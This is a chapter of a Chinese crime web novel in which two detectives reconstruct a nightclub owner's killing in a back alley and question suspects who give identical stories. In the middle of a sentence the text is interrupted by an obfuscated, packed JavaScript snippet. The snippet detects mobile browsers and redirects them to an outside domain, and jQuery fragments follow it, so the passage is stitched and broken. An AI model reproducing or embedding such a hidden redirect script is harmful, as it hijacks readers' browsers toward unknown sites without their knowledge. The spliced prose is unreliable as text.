30. 第 30 章
作品:《向云端》 警车一路风驰电掣,赶往案发现场。
刑警队接到报案,在本市魅影夜都夜总会发生恶性集体斗殴事件,初步认定现场有死伤。
老王和陈登带人到达现场后,立即又向队里请求了支援。
夜总会里一片狼藉,情况非常复杂。
第一,是有多人不同程度的受伤。受惊的客人和夜总会工作人员们在慌乱中产生磕碰、冲撞、踩踏、刮擦之类的就不说了,有人从楼梯等高处跌落导致骨伤和内出血,急需救治。更有甚者,身上受的是小口径子弹造成的枪伤。这就涉及恶性犯罪了,大华实行的是全世界最严格的禁枪令,只要涉枪,就是恶性犯罪。
第二,客人里也有不少状况。这家夜总会背后底子不干净,在历次临检中,各种问题层出不穷,之所以一直没有彻底查封,也是因为老板特别狡猾,警方很难取得实质性的证据,没法一锤定音。结果这次倒是得来全不费工夫。包厢里什么牛鬼蛇神都有,聚众□□的,赌博的,嗑药的,一下子全炸出来了。赌博竟成了这里面最体面的群体。有几个男女因为受伤疼痛,动弹不了,不管该不该露的,反正全露了个干净,只能死死捂着脸,全身上下现在只有脸绝对不能露了;几个嗑药的被抬到担架上的时候还神志不清地抽抽着,辣眼睛,没眼看。
第三,也是最重要的一点,夜总会后巷发现人员死亡。死的就是这家藏污纳垢的夜总会的老板,死相挺惨的,被人用碎玻璃酒瓶剌开了咽喉,放光了血。
老王带着陈登在夜总会里里外外,仔仔细细查看了一遍,陈登随身的小记事本上都快写脱页了。这案子是陈登从警后遇到的性质最严重的案件了,如果陈登这辈子运气平顺些,这案子能成他职业最高峰也说不定。
“痕检有得忙!”陈登揉揉鼻子嘟哝了一句。
夜总会内部,事发时人多又混乱,就不说了,后巷这边的杀人现场竟然也一塌糊涂。都不需要精密仪器检验,肉眼可见这里曾经有不少人来回走动,留下痕迹。
“是啊!”老王叹息一声,“但是现场除了死者,没有看到有别的人受伤留下的痕迹。”老王抬头往夜总会的建筑外墙上看,“就连这里地上蹭到的一小块血,也是死者从空调外机上跳下来,没站稳,在地上自己擦伤的。”
“师父,好多脚印还没验呢,你已经看出来死者动线了?”陈登知道自己的师父非常敏锐,但这就看了两眼现场,是不是有些过于迅猛了!
老王嘿嘿笑了两声,眼角鱼尾纹打着褶子,伸出两根手指指指自己的眼睛,“我的眼睛就是尺!”
他往前走了两步,指给陈登看。“死者一开始是在夜总会内部,他是老板,没事儿犯不着在后巷这种扔垃圾的地方晃悠。但他死在后巷,那他怎么到这儿来的呢?”
陈登回答:“第一种可能,他有可能是从夜总会后门出来,进入后巷。夜总会的后门区域有不少痕迹,大致上都是从里面往外走,进入后巷。这大概率是攻击方的人追击而至,他们在死者之后来到后巷。所以死者的脚印有可能被这些人的痕迹覆盖扰乱。”
老王点头,示意他继续说。
“第二种可能,在楼内遇到危险,没法下楼,可能试着往上走,避人耳目,再通过外部的紧急通道下来走地面。不过这个案件里说不通,这栋楼的紧急逃生梯在楼的另一面,下楼后犯不着再绕回到这里。”
“第三种可能,不恐高,就从外立面爬下来。”老王欣慰地点点头,指着一个空调外机,接下去说,“外机上留了脚印,皮鞋的印子。”陈登仔细看去,果不其然,在这个外机的正下方,就是师父刚才说到蹭伤的地方。陈登举一反三,再往上找,果然又找到其他空调外机上的脚印,一直能追溯到三楼一个包厢的窗口。那个包厢是夜总会里规格最高的豪华包厢,如果是自家老板,在那个包厢很正常。
陈登总结:“所以,目前来看,死者从三楼包厢窗口翻到外边,因为一些原因,比如楼上已经有敌人,于是没有选择爬到楼顶露台,走另一半的紧急逃生梯,而是直接从这边的空调外机跳下,到达地面。再从这里往东南方向出逃,转到第一个岔道口,被等在那里的一队人堵住去路。”
“没错。紧接着第二队人从夜总会内部通过后门追了出来,在拐角处堵住了他的退路。”老王一边说,一边带着陈登,沿着后巷的痕迹来到拐角处,也就是死者伏尸地附近。
“在这里,他被堵住后,与人搏斗……啧!有搏斗痕迹,但好像……”老王在这里看到了点意外的东西。
“好像是单挑……”陈登也有所察觉。
此时尸体已被移走,地上留下了白线框做标记。大滩的血迹洇在地上,还是蛮触目惊心的。尸体未移走时,呈俯卧姿态,脖子右侧动脉处,一个只剩瓶颈上半部分的碎玻璃酒瓶深深地扎在上面。浓稠的血浆从伤口涌出,顺着瓶颈从瓶口流出,这酒瓶残片宛如一个引流的水管,把死者的血统统放光。
老王看着脚下,长长叹了口气。“这马鹏飞啊,曾经也算是个棘手的人物,最后就死在这么个犄角旮旯里。”
回到警队,忙到飞起,这次的目击者有点多,能动弹的都被拖回来做笔录,各个房间里一时间塞满了各种款式的奇行种。
方支队长拿着他的枸杞保温杯,一脸便秘一般从走廊这头走到那头,看着这些奇形怪状的生物,半生硬汉仍会深感无力。
另一边,法医和痕检也都要赶工,于是陈登又去小周法医和小孟那边刷了脸。期间被小周法医的老师掐了把脸,把陈登小心脏吓得扑通扑通的,硬着头皮陪着笑。法医老师特别喜欢他腮帮子肉的手感,每次见到就必要上手,陈登总会绕着她走,这次实在没避开,只好躺平。总算等老师揩完油,大手一挥说,回去告诉老王,不用催了,耽误不了你们的。陈登得令,一秒都不敢再待,顾不得小周法医的偷笑,夺门而出。
大量的当事人做完大量的笔录。老王和陈登都闲不下来,干脆连夜梳理。汇总信息后初步分析,基本可以判断是本地帮派之间的黑吃黑。近期和马鹏飞不对付的帮派就那几个,警方多少也是掌握情况的,因此初步划定嫌疑范围就是这几群,接下来可以试试从那几个被抓回来的小喽啰身上找突破口。
谁知竟然没能突破。
从现场抓回来的几个小喽啰显然事先受过指点,口供是串通好的。他们口径非常一致,咬死了是死者自己拿酒瓶子和他们对峙时,意外割断了自己的脖子,反正指认真凶什么的是没有的,非要交待,真凶就是死者自己。陈登都给气笑了,合着就想说是死者自杀呗!
但不管警方指出这样的供词有多不合逻辑,有多荒谬,几个小喽啰都一口咬定,说法一个字都不带改。这就说明他们的上级非常强势,能够绝对掌控这些人的行为。且对事件后续发展很有预见性,在行动之前,对每个手下都做了预案培训。一旦这些人成了炮灰被抓,也会很清楚自己该怎么做,说什么做什么,能够将组织的损失控制在最小程度。
老王有些不安地皱了皱眉,这又是一个难缠的对手。
陈登咕咚咕咚给自己狠狠灌了一大缸水,擦了擦嘴角说:“师父,您觉得这就是一起简单的火拼致死案件么?”
老王又在摸口袋找山楂片,闻言抬头看他,“怎么说?想到什么了?”
“……我总觉得,这不是一般的帮派为了抢地盘玩吞并的斗殴杀人。”陈登犹豫着说。
老王无语地看他,“你小子憋了半天,就这么句废话!”
陈登挠了挠后脑勺,说:“我也不敢确定……就是有一种感觉,马鹏飞的死是一早就定了的。”
老王终于摸出了被裤子快挤成碎渣渣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615109|172194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的山楂片,囫囵倒在嘴里,说不了话,就努嘴示意徒弟赶紧说下去。
陈登得了鼓励,就大胆往下说:“师父,我看到有一份夜总会调酒师的笔录,上面提到死者脖子上的酒瓶,不是夜总会里的。也就是说,这瓶子是凶手带过来的。那么有一种可能,是凶手当晚喝了很多酒。但是我也注意到,现场没有酒精泼洒的味道,所以在用来杀人时,酒瓶是空的,凶手最后用自己带过来的,喝完的空酒瓶,杀了马鹏飞。”
老王咽下嘴里的山楂片渣渣,喝了口水,想了想,摇头:“这个可能性不大,有些牵强。就看那几个小喽啰被事先教过串供这一点来看,凶手非常缜密。大量饮酒后,是否还有杀死马鹏飞的能力,有待商榷。大大降低行动的成功几率,这个凶手不像是会做这么没有计划性的事情,不符合这种类型的凶犯的行为逻辑。而且,行动前大量饮酒那种人通常更容易激情犯罪,也不符合这种类型的凶犯的个性侧写。”
“排除这种可能后,就只能是凶手特意带着这样一个酒瓶,来到凶案现场,杀死马鹏飞。他用这个方式是有预谋的,他为马鹏飞专门设计了这样一个死法。”
老王沉吟思考,默默点头,说的通。这种可能性乍一听有些奇怪,但反而更符合当前真凶所表现出来的性格特质。
“事实上,凶手带来的人手里,有好几支枪。这种打定主意来杀人放火的,有枪带枪,有刀肯定也会带刀。在有枪有刀的情况下,为什么要选用更难用的玻璃酒瓶下杀手?”
思路似乎顺畅了,陈登继续提出疑点,有些东西一开始可能没觉得奇怪,但细想下去,就觉得哪哪儿都一股邪乎劲儿。“如果只为杀马鹏飞一个人,为什么带那么多人来?单是在后巷参与堵截马鹏飞的人就好几十人,实在是有些劳民伤财,难道说是为了让他们作为观众,见证马鹏飞的死亡过程?”
老王点头,跟着徒弟的思路,他也开始补充:“所以凶手为马鹏飞设计这样一个死法,是有一定的意义想要表达。”
“那为什么凶手要这么做?非要搞这么一出,这个死法有什么意义?”陈登进一步提出自己心中的疑问。
陈登思维活跃,老王则经验丰富。他当即提出,是仪式感。
陈登茅塞顿开,兴奋地说:“对!师父!就是这个!仪式感!整个杀人行动就是一场仪式,有过精密的设计和部署,包括带人闯入控场,将死者逼入预定地点,然后在有众多观众的情境下,用预定的方式,表演将人杀死,呈现特定的场景。”
李弛从他们身后靠过来,听到半截,满脸都是疑惑和震惊。“登仔,什么观众,什么表演?你别吓人哈!”
陈登回头,见他这么说,只是嘿嘿笑了笑。现在毕竟都只是他和师父的推测,还需要更多实证来佐证,也不宜说太多。“你那边怎么样了?”既然不打算解释,就干脆岔开话题,说说正事。李弛和他师父其实不负责这件案子,他们还在忙绑架那桩案子,实在是这次的笔录工作过于繁重,将他们临时请来帮帮忙。
李弛本来就不擅长多线程处理,一句话就被陈登带过去了。“哦哦,”他从厚厚一叠笔录文件中抽出一份,交到老王手上。“我师父让我给您带过来。这份笔录是魅影夜都一个坐台小姐的,据她交代,她们家夜总会的老鸨刘艳,是死者马鹏飞多年的情妇。事发当晚,她也在马鹏飞的包厢里,但是事发之后就没再见过她。”
“事发时她也是目击者?”陈登迅速抓住重点。
“对,马鹏飞翻出包厢窗外之前,应该都跟她在一起。现在找不着人,要么是她被凶手带走了,要么是她知道些什么,趁乱自己跑了。”李弛回答。
老王也认同这样的推测。总之不管刘艳是自己跑的,还是被人带走,一定都知道些别人不知道的事情,是重要知情人。接下来,一定要找到她。